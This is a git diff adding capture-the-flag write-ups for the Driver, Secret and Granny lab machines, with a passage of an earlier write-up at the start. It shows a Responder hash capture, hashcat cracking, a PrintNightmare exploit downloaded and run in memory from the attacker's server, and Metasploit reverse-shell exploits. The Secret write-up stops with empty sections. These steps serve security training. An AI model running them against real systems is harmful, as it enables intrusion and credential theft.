bdXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + C:\Documents and Settings\Harry\Desktop>cd ../../Administrator/Desktop + cd ../../Administrator/Desktop + + C:\Documents and Settings\Administrator\Desktop>more root.txt + more root.txt + 93XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And thats it ! **exploit/windows/local/ms15_051_client_copy_image** returned our meterpreter session as NT AUTHORITY\ SYSTEM, and we have been able to get both the user and root flags. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/7_graph.png) + diff --git a/Easy/70.md b/Easy/70.md new file mode 100644 index 0000000..cbc822c --- /dev/null +++ b/Easy/70.md @@ -0,0 +1,426 @@ +# Driver Writeup + +![](img/70.png) + +## Introduction : + +Driver is an easy Linux box released back in October 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB] + → nmap -sCV driver.htb + Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-21 18:39 UTC + Nmap scan report for driver.htb (10.129.95.238) + Host is up (0.054s latency). + Not shown: 997 filtered tcp ports (no-response) + PORT STATE SERVICE VERSION + 80/tcp open http Microsoft IIS httpd 10.0 + | http-auth: + | HTTP/1.1 401 Unauthorized\x0D + |_ Basic realm=MFP Firmware Update Center. Please enter password for admin + |_http-server-header: Microsoft-IIS/10.0 + |_http-title: Site doesn't have a title (text/html; charset=UTF-8). + | http-methods: + |_ Potentially risky methods: TRACE + 135/tcp open msrpc Microsoft Windows RPC + 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) + Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s + | smb-security-mode: + | account_used: guest + | authentication_level: user + | challenge_response: supported + |_ message_signing: disabled (dangerous, but default) + |_smb-os-discovery: ERROR: Script execution failed (use -d to debug) + | smb2-security-mode: + | 3.1.1: + |_ Message signing enabled but not required + | smb2-time: + | date: 2022-11-22T01:39:18 + |_ start_date: 2022-11-22T01:38:10 + |_ms-sql-info: ERROR: Script execution failed (use -d to debug) + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 53.89 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80, so let's investigate it: + +![](prg/70_001.png) + +We try randomly admin:admin as the credentials and we login: + +![](prg/70_002.png) + +Now in order to exploit this MFP Firmware Update Center we need to make a scf file as seen [here](https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/): + + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/Driver] + → vim file.scf + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/Driver] + → cat file.scf + [Shell] + Command = 2 + IconFile = "\\10.10.16.14\nihilism\nothing.txt" + + [Taskbar] + Command = "ToggleDesktop" + + + +Then start a responder session as we upload the poisoned file: + +![](prg/70_002.png) + + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Driver] + → sudo responder -I tun0 + __ + .----.-----.-----.-----.-----.-----.--| |.-----.----. + | _| -__|__ --| _ | _ | | _ || -__| _| + |__| |_____|_____| __|_____|__|__|_____||_____|__| + |__| + + NBT-NS, LLMNR & MDNS Responder 3.1.3.0 + + To support this project: + Patreon -> https://www.patreon.com/PythonResponder + Paypal -> https://paypal.me/PythonResponder + + Author: Laurent Gaffie (laurent.gaffie@gmail.com) + To kill this script hit CTRL-C + + + [+] Poisoners: + LLMNR [ON] + NBT-NS [ON] + MDNS [ON] + DNS [ON] + DHCP [OFF] + + [+] Servers: + HTTP server [ON] + HTTPS server [ON] + WPAD proxy [OFF] + Auth proxy [OFF] + SMB server [ON] + Kerberos server [ON] + SQL server [ON] + FTP server [ON] + IMAP server [ON] + POP3 server [ON] + SMTP server [ON] + DNS server [ON] + LDAP server [ON] + RDP server [ON] + DCE-RPC server [ON] + WinRM server [ON] + + [+] HTTP Options: + Always serving EXE [OFF] + Serving EXE [OFF] + Serving HTML [OFF] + Upstream Proxy [OFF] + + [+] Poisoning Options: + Analyze Mode [OFF] + Force WPAD auth [OFF] + Force Basic Auth [OFF] + Force LM downgrade [OFF] + Force ESS downgrade [OFF] + + [+] Generic Options: + Responder NIC [tun0] + Responder IP [10.10.16.14] + Responder IPv6 [dead:beef:4::100c] + Challenge set [random] + Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL'] + + [+] Current Session Variables: + Responder Machine Name [WIN-KPBKT26EKRE] + Responder Domain Name [3PO9.LOCAL] + Responder DCE-RPC Port [49204] + + [+] Listening for events... + + + **[SMB] NTLMv2-SSP Client : 10.129.95.238 + [SMB] NTLMv2-SSP Username : DRIVER\tony + [SMB] NTLMv2-SSP Hash : tony::DRIVER:64ee36aaad12f422:90CD51833EC5C7FD768608DC128B0072:0101000000000000007514F0DAFDD80130D95B9D9FCE853D0000000002000800330050004F00390001001E00570049004E002D004B00500042004B0054003200360045004B005200450004003400570049004E002D004B00500042004B0054003200360045004B00520045002E00330050004F0039002E004C004F00430041004C0003001400330050004F0039002E004C004F00430041004C0005001400330050004F0039002E004C004F00430041004C0007000800007514F0DAFDD8010600040002000000080030003000000000000000000000000020000082E65A8610E38B2DCBA3BF1A4B03692BFC2D79B0F9EC686F467516427284BDD40A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E0031003400000000000000000000000000 + [*] Skipping previously captured hash for DRIVER\tony + [*] Skipping previously captured hash for DRIVER\tony + [*] Skipping previously captured hash for DRIVER\tony + [*] Skipping previously captured hash for DRIVER\tony + [*] Skipping previously captured hash for DRIVER\tony + [*] Skipping previously captured hash for DRIVER\tony + [*] Skipping previously captured hash for DRIVER\tony** + + +And we got a response on our file gets uploaded! So we recieved a NTLMv2 Hash, coming from the username tony. So let's crack the NTLMv2 Hash using rockyou.txt: + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Driver] + → sudo hashcat hash -m5600 $(locate rockyou.txt) + [sudo] password for nothing: + hashcat (v6.2.6) starting + + * Device #1: WARNING! Kernel exec timeout is not disabled. + This may cause "CL_OUT_OF_RESOURCES" or related errors. + To disable the timeout, see: https://hashcat.net/q/timeoutpatch + * Device #2: WARNING! Kernel exec timeout is not disabled. + This may cause "CL_OUT_OF_RESOURCES" or related errors. + To disable the timeout, see: https://hashcat.net/q/timeoutpatch + CUDA API (CUDA 11.8) + ==================== + * Device #1: NVIDIA GeForce RTX 3070 Ti, 5906/7981 MB, 48MCU + + OpenCL API (OpenCL 3.0 CUDA 11.8.87) - Platform #1 [NVIDIA Corporation] + ======================================================================= + * Device #2: NVIDIA GeForce RTX 3070 Ti, skipped + + Minimum password length supported by kernel: 0 + Maximum password length supported by kernel: 256 + + Hashes: 1 digests; 1 unique digests, 1 unique salts + Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates + Rules: 1 + + Optimizers applied: + * Zero-Byte + * Not-Iterated + * Single-Hash + * Single-Salt + + ATTENTION! Pure (unoptimized) backend kernels selected. + Pure kernels can crack longer passwords, but drastically reduce performance. + If you want to switch to optimized kernels, append -O to your commandline. + See the above message to find out about the exact limits. + + Watchdog: Temperature abort trigger set to 90c + + Host memory required for this attack: 843 MB + + Dictionary cache built: + * Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz + * Passwords.: 14344392 + * Bytes.....: 139923457 + * Keyspace..: 14344383 + * Runtime...: 1 sec + + TONY::DRIVER:64ee36aaad12f422:90cd51833ec5c7fd768608dc128b0072:0101000000000000007514f0dafdd80130d95b9d9fce853d0000000002000800330050004f00390001001e00570049004e002d004b00500042004b0054003200360045004b005200450004003400570049004e002d004b00500042004b0054003200360045004b00520045002e00330050004f0039002e004c004f00430041004c0003001400330050004f0039002e004c004f00430041004c0005001400330050004f0039002e004c004f00430041004c0007000800007514f0dafdd8010600040002000000080030003000000000000000000000000020000082e65a8610e38b2dcba3bf1a4b03692bfc2d79b0f9ec686f467516427284bdd40a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e0031003400000000000000000000000000:liltony + + Session..........: hashcat + Status...........: Cracked + Hash.Mode........: 5600 (NetNTLMv2) + Hash.Target......: TONY::DRIVER:64ee36aaad12f422:90cd51833ec5c7fd76860...000000 + Time.Started.....: Mon Nov 21 19:57:17 2022 (1 sec) + Time.Estimated...: Mon Nov 21 19:57:18 2022 (0 secs) + Kernel.Feature...: Pure Kernel + Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz) + Guess.Queue......: 1/1 (100.00%) + Speed.#1.........: 69153.6 kH/s (3.71ms) @ Accel:1024 Loops:1 Thr:64 Vec:1 + Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) + Progress.........: 3145728/14344383 (21.93%) + Rejected.........: 0/3145728 (0.00%) + Restore.Point....: 0/14344383 (0.00%) + Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 + Candidate.Engine.: Device Generator + Candidates.#1....: 12345 -> tomabogdan + Hardware.Mon.#1..: Temp: 53c Fan: 57% Util: 30% Core:1830MHz Mem:9501MHz Bus:16 + + Started: Mon Nov 21 19:57:11 2022 + Stopped: Mon Nov 21 19:57:18 2022 + + + +So now we have the credentials **tony:liltony** , let's connect with an evil-winrm shell : + + + [ 10.10.14.37/23 ] [ /dev/pts/15 ] [Nextcloud/blog] + → evil-winrm -i driver.htb -u tony -p liltony + + Evil-WinRM shell v3.4 + + Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine + + Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\tony\Documents> whoami + driver\tony + *Evil-WinRM* PS C:\Users\tony\Documents> cd .. + cd De*Evil-WinRM* PS C:\Users\tony> cd Desktop + *Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt + 97XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we got the User flag! + +## **Part 3 : Getting Root Access** + +Now in order to enumerate privesc paths, we run winpeas: + + + [ 10.10.14.37/23 ] [ /dev/pts/15 ] [Nextcloud/blog] + → evil-winrm -i driver.htb -u tony -p liltony + + Evil-WinRM shell v3.4 + + Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine + + Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\tony\Documents> upload /home/nothing/HTB/Driver/winPEAS.bat + Info: Uploading /home/nothing/HTB/Driver/winPEAS.bat to C:\Users\tony\Documents\winPEAS.bat + + + Data: 47928 bytes of 47928 bytes copied + + Info: Upload successful! + + *Evil-WinRM* PS C:\Users\tony\Documents> .\winPEAS.bat + + + +` ![](prg/70_005.png) + +Let it run, then we get a hint towards the ConsoleHost_history text file: + +![](prg/70_006.png) + + + *Evil-WinRM* PS C:\Users\tony\Documents> cat C:\users\tony\appdata\roaming\microsoft\windows\PowerShell\PSReadline\ConsoleHost_history.txt + Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:' + + ping 1.1.1.1 + ping 1.1.1.1 + + + +Here we see history file contains a comamnd to add a printer with the RICOH_PCL6 printer driver. So when we look for exploits we find the [CVE-2021-34527](https://github.com/JohnHammond/CVE-2021-34527) local privesc vulnerability: + + + [term1] + *Evil-WinRM* PS C:\programdata\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz> icacls *.dll + borderline.dll Everyone:(F) + + colorbalance.dll Everyone:(F) + + headerfooter.dll Everyone:(F) + + jobhook.dll Everyone:(F) + + outputimage.dll Everyone:(F) + + overlaywatermark.dll Everyone:(F) + + popup.dll Everyone:(F) + + printercopyguardpreview.dll Everyone:(F) + + printerpreventioncopypatternpreview.dll Everyone:(F) + + secretnumberingpreview.dll Everyone:(F) + + watermark.dll Everyone:(F) + + watermarkpreview.dll Everyone:(F) + + Successfully processed 12 files; Failed processing 0 files + + [term2] + [ 10.10.14.17/23 ] [ /dev/pts/16 ] [~/HTB/Driver] + → git clone https://github.com/JohnHammond/CVE-2021-34527 + Cloning into 'CVE-2021-34527'... + remote: Enumerating objects: 17, done. + remote: Counting objects: 100% (17/17), done. + remote: Compressing objects: 100% (15/15), done. + remote: Total 17 (delta 2), reused 17 (delta 2), pack-reused 0 + Receiving objects: 100% (17/17), 124.90 KiB | 617.00 KiB/s, done. + Resolving deltas: 100% (2/2), done. + + [ 10.10.14.17/23 ] [ /dev/pts/16 ] [~/HTB/Driver] + → cd CVE-2021-34527 + + [ 10.10.14.17/23 ] [ /dev/pts/16 ] [HTB/Driver/CVE-2021-34527] + → ls + CVE-2021-34527.ps1 nightmare-dll README.md + + [ 10.10.14.17/23 ] [ /dev/pts/16 ] [HTB/Driver/CVE-2021-34527] + → cp CVE-2021-34527.ps1 exploit.ps1 + + [ 10.10.14.17/23 ] [ /dev/pts/16 ] [HTB/Driver/CVE-2021-34527] + → python3 -m http.server 8080 + Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... + + + +Then download the ps1 exploit onto the box and run it: + + + *Evil-WinRM* PS C:\Users\tony\Documents> Invoke-webrequest -uri http://10.10.14.17:8080/exploit.ps1 -Outfile exploit.ps1 + *Evil-WinRM* PS C:\Users\tony\Documents> .\exploit.ps1 + File C:\Users\tony\Documents\exploit.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170. + At line:1 char:1 + + .\exploit.ps1 + + ~~~~~~~~~~~~~ + + CategoryInfo : SecurityError: (:) [], PSSecurityException + + FullyQualifiedErrorId : UnauthorizedAccess + + + +However it doesn't let us run scripts on the machine, so instead we're going to run it from memory: + + + *Evil-WinRM* PS C:\Users\tony\Documents> iex(new-object net.webclient).downloadstring('http://10.10.14.17:8080/exploit.ps1') + *Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare -NewUser "nihilist" -NewPassword "nihilist123" + [+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll + [+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll" + [+] added user nihilist as local administrator + [+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll + + + +And then login as the new user we created: + + + [ 10.10.14.17/23 ] [ /dev/pts/17 ] [HTB/Driver/CVE-2021-34527] + → evil-winrm -i driver.htb -u nihilist -p nihilist123 + + Evil-WinRM shell v3.4 + + Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine + + Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\nihilist\Documents> cd ..\..\Administrator\Desktop + *Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt + f3XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! we managed to get the root flag! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/70_graph.png) + diff --git a/Easy/71.md b/Easy/71.md new file mode 100644 index 0000000..754fe54 --- /dev/null +++ b/Easy/71.md @@ -0,0 +1,275 @@ +# Secret Writeup + +![](img/71.png) + +## Introduction : + +Secret is an easy box released back in October 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.17/23 ] [ /dev/pts/16 ] [~/HTB/Secret] + → nmap -sCV secret.htb + Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-01 15:42 CET + Nmap scan report for secret.htb (10.129.21.112) + Host is up (0.081s latency). + Not shown: 997 closed tcp ports (conn-refused) + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 3072 97af61441089b953f0803fd719b1e29c (RSA) + | 256 95ed658dcd082b55dd1751311e3e1812 (ECDSA) + |_ 256 337bc171d3330f924e835a1f5202935e (ED25519) + 80/tcp open http nginx 1.18.0 (Ubuntu) + |_http-server-header: nginx/1.18.0 (Ubuntu) + |_http-title: DUMB Docs + 3000/tcp open http Node.js (Express middleware) + |_http-title: DUMB Docs + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 17.30 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate: + +![](prg/71_001.png) + +we run ffuf to look for directories on port 80: + + + [ 10.10.14.17/23 ] [ /dev/pts/16 ] [~/HTB/Secret] + → ffuf -u http://secret.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,307,401 -t 50 + + /'___\ /'___\ /'___\ + /\ \__/ /\ \__/ __ __ /\ \__/ + \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ + \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ + \ \_\ \ \_\ \ \____/ \ \_\ + \/_/ \/_/ \/___/ \/_/ + + v1.5.0 Kali Exclusive + ________________________________________________ + + :: Method : GET + :: URL : http://secret.htb/FUZZ + :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt + :: Follow redirects : false + :: Calibration : false + :: Timeout : 10 + :: Threads : 50 + :: Matcher : Response status: 200,204,301,302,307,401 + ________________________________________________ + + api [Status: 200, Size: 93, Words: 12, Lines: 1, Duration: 102ms] + api/experiments [Status: 200, Size: 93, Words: 12, Lines: 1, Duration: 103ms] + api/experiments/configurations [Status: 200, Size: 93, Words: 12, Lines: 1, Duration: 97ms] + assets [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 83ms] + docs [Status: 200, Size: 20720, Words: 6752, Lines: 487, Duration: 102ms] + download [Status: 301, Size: 183, Words: 7, Lines: 11, Duration: 108ms] + :: Progress: [4713/4713] :: Job [1/1] :: 405 req/sec :: Duration: [0:00:10] :: Errors: 0 :: + + + +Reading the docs we get a hint as to how to use the API to create an account on port 3000: + +![](prg/71_002.png) ![](prg/71_003.png) ![](prg/71_005.png) + +From here, we create an account at **/api/user/register** + + + POST /api/user/register HTTP/1.1 + Host: secret.htb:3000 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Referer: http://secret.htb:3000/ + Connection: close + Upgrade-Insecure-Requests: 1 + Pragma: no-cache + Cache-Control: no-cache + Content-Type: application/json + Content-Length: 82 + + { + "name":"nihilist", + "email":"nihil@nowhere.com", + "password":"nihilist" + } + + + +` ![](prg/71_006.png) + +Then we get the JWT auth-token by going to **/api/user/login/** + + + POST /api/user/login HTTP/1.1 + Host: secret.htb:3000 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Referer: http://secret.htb:3000/ + Connection: close + Upgrade-Insecure-Requests: 1 + Pragma: no-cache + Cache-Control: no-cache + Content-Type: application/json + Content-Length: 61 + + { + "email":"nihil@nowhere.com", + "password":"nihilist" + } + + +` ![](prg/71_007.png) + +So here we have the following JWT token: + + + eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2Mzg4YzViYTU0OTM3ZTA0N2ExYmVmZDYiLCJuYW1lIjoibmloaWxpc3QiLCJlbWFpbCI6Im5paGlsQG5vd2hlcmUuY29tIiwiaWF0IjoxNjY5OTA4MDc2fQ.15gBFxEXh2My4CaXqNT0LR4jYymWsnXx0iRU8PFcKpE + + + +With it, we can make a request to /api/priv/ : + + + GET /api/priv HTTP/1.1 + Host: secret.htb:3000 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 + auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2Mzg4YzViYTU0OTM3ZTA0N2ExYmVmZDYiLCJuYW1lIjoibmloaWxpc3QiLCJlbWFpbCI6Im5paGlsQG5vd2hlcmUuY29tIiwiaWF0IjoxNjY5OTA4MDc2fQ.15gBFxEXh2My4CaXqNT0LR4jYymWsnXx0iRU8PFcKpE + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Referer: http://secret.htb:3000/ + Connection: close + Upgrade-Insecure-Requests: 1 + Pragma: no-cache + Cache-Control: no-cache + Content-Type: application/json + Content-Length: 0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/1_graph.png) + diff --git a/Easy/8.md b/Easy/8.md new file mode 100644 index 0000000..f75cec0 --- /dev/null +++ b/Easy/8.md @@ -0,0 +1,335 @@ +# Granny Writeup + +![](img/8.png) + +## Introduction : + +Granny is an easy box windows box that was released back in April 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Granny] → nmap -sC -sV 10.10.10.15 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-11 17:45 CET + Nmap scan report for 10.10.10.15 + Host is up (0.036s latency). + Not shown: 999 filtered ports + PORT STATE SERVICE VERSION + 80/tcp open http Microsoft IIS httpd 6.0 + | http-methods: + |_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT + |_http-server-header: Microsoft-IIS/6.0 + |_http-title: Under Construction + | http-webdav-scan: + | Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK + | Server Type: Microsoft-IIS/6.0 + | Server Date: Mon, 11 Nov 2019 16:48:07 GMT + | Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH + |_ WebDAV type: Unknown + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds + + +## **Part 2 : Getting User Access** + +As you can see we're dealing with IIS 6.0 which is an outdated version, with a ton of scripts for us to use, so let's fire up msfconsole : + + + msfconsole + + ___ ____ + ,-"" `. < HONK > + ,' _ e )`-._ / ---- + / ,' `-._<.===-' + / / + / ; + _ / ; + (`._ _.-"" ""--..__,' | + <_ `-"" \ + <`- : + (__ <__. ; + `-. '-.__. _.' / + \ `-.__,-' _,' + `._ , /__,-' + ""._\__,'< <____ + | | `----.`. + | | \ `. + ; |___ \-`` + \ --< + `.`.< + `-' + + + + =[ metasploit v5.0.74-dev ] + + -- --=[ 1969 exploits - 1088 auxiliary - 338 post ] + + -- --=[ 558 payloads - 45 encoders - 10 nops ] + + -- --=[ 7 evasion ] + + msf5 > update + [*] exec: update + + [*] You have the latest version of Pwntools (4.0.1) + msf5 > search scstorage + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/windows/iis/iis_webdav_scstoragepathfromurl 2017-03-26 manual Yes Microsoft IIS WebDav ScStoragePathFromUrl Overflow + + + msf5 > use exploit/windows/iis/iis_webdav_scstoragepathfromurl + msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set RHOSTS 10.10.10.15 + RHOSTS => 10.10.10.15 + msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > exploit + + [*] Started reverse TCP handler on 10.10.14.10:4444 + [*] Sending stage (180291 bytes) to 10.10.10.15 + [*] Meterpreter session 1 opened (10.10.14.10:4444 -> 10.10.10.15:1036) at 2020-02-19 08:38:49 +0000 + [*] Sending stage (180291 bytes) to 10.10.10.15 + [*] Meterpreter session 2 opened (10.10.14.10:4444 -> 10.10.10.15:1037) at 2020-02-19 08:38:51 +0000 + [-] Exploit aborted due to failure: bad-config: Server did not respond correctly to WebDAV request + [*] Exploit completed, but no session was created. + msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > exploit + + [*] Started reverse TCP handler on 10.10.14.10:4444 + [*] Trying path length 3 to 60 ... + [*] Sending stage (180291 bytes) to 10.10.10.15 + [*] Meterpreter session 3 opened (10.10.14.10:4444 -> 10.10.10.15:1038) at 2020-02-19 08:39:22 +0000 + + meterpreter > ps + + Process List + ============ + + PID PPID Name Arch Session User Path + --- ---- ---- ---- ------- ---- ---- + 0 0 [System Process] + 4 0 System + 208 348 logon.scr + 272 4 smss.exe + 324 272 csrss.exe + 348 272 winlogon.exe + 396 348 services.exe + 408 348 lsass.exe + 604 396 svchost.exe + 676 396 svchost.exe + 732 396 svchost.exe + 776 396 svchost.exe + 796 396 svchost.exe + 932 396 spoolsv.exe + 960 396 msdtc.exe + 1080 396 cisvc.exe + 1128 396 svchost.exe + 1176 396 inetinfo.exe + 1212 396 svchost.exe + 1328 396 VGAuthService.exe + 1408 396 vmtoolsd.exe + 1456 396 svchost.exe + 1504 3620 rundll32.exe x86 0 C:\WINDOWS\system32\rundll32.exe + 1596 396 svchost.exe + 1696 396 alg.exe + 1824 604 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe + 1908 396 dllhost.exe + 2060 3620 svchost.exe x86 0 C:\WINDOWS\Temp\radA77E9.tmp\svchost.exe + 2304 604 wmiprvse.exe + 2380 3620 svchost.exe x86 0 C:\WINDOWS\Temp\rad64DF6.tmp\svchost.exe + 2928 3620 svchost.exe x86 0 C:\WINDOWS\Temp\rad3C906.tmp\svchost.exe + 3396 1080 cidaemon.exe + 3440 1080 cidaemon.exe + 3480 1080 cidaemon.exe + 3620 1456 w3wp.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetsrv\w3wp.exe + 3692 604 davcdata.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetsrv\davcdata.exe + + +and we get a reverse shell ! but we need to migrate to another process in order to escalate privileges : the process number 1824 looks interesting : + + + + meterpreter > migrate 1824 + [*] Migrating from 1504 to 1824... + [*] Migration completed successfully. + + meterpreter > shell + Process 2080 created. + Channel 3 created. + Microsoft Windows [Version 5.2.3790] + (C) Copyright 1985-2003 Microsoft Corp. + + C:\WINDOWS\system32>cd ../.. + ccd ../.. + + C:\>d Documents And Settings + cd Documents And Settings + + C:\Documents and Settings>cd Administrator + cd Administrator + Access is denied. + + +And as you can see, we still migrated to NT Authority, but we did not escalate our privileges enough. + +## **Part 3 : Getting Root Access** + + + C:\Documents and Settings>exit + meterpreter > background + [*] Backgrounding session 3... + msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > search ms14_070 + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/windows/local/ms14_070_tcpip_ioctl 2014-11-11 average Yes MS14-070 Windows tcpip!SetAddrOptions NULL Pointer Dereference + + + msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use exploit/windows/local/ms14_070_tcpip_ioctl + msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > set SESSION 3 + SESSION => 3 + msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > set payload windows/meterpreter/reverse_tcp + payload => windows/meterpreter/reverse_tcp + msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > show options + + Module options (exploit/windows/local/ms14_070_tcpip_ioctl): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION 3 yes The session to run this module on. + + + Payload options (windows/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + Exploit target: + + Id Name + -- ---- + 0 Windows Server 2003 SP2 + + + msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > set LHOST 10.10.14.10 + LHOST => 10.10.14.10 + msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > run + + +We'll use a local exploit on our backgrounded session, to see if we can escalate privileges. + + + [*] Started reverse TCP handler on 10.10.14.10:4444 + [*] Storing the shellcode in memory... + [*] Triggering the vulnerability... + [*] Checking privileges after exploitation... + [+] Exploitation successful! + [*] Sending stage (180291 bytes) to 10.10.10.15 + [*] Meterpreter session 4 opened (10.10.14.10:4444 -> 10.10.10.15:1039) at 2020-02-19 08:44:38 +0000 + + meterpreter > shell + [-] Unknown command: shell. + meterpreter > shell + 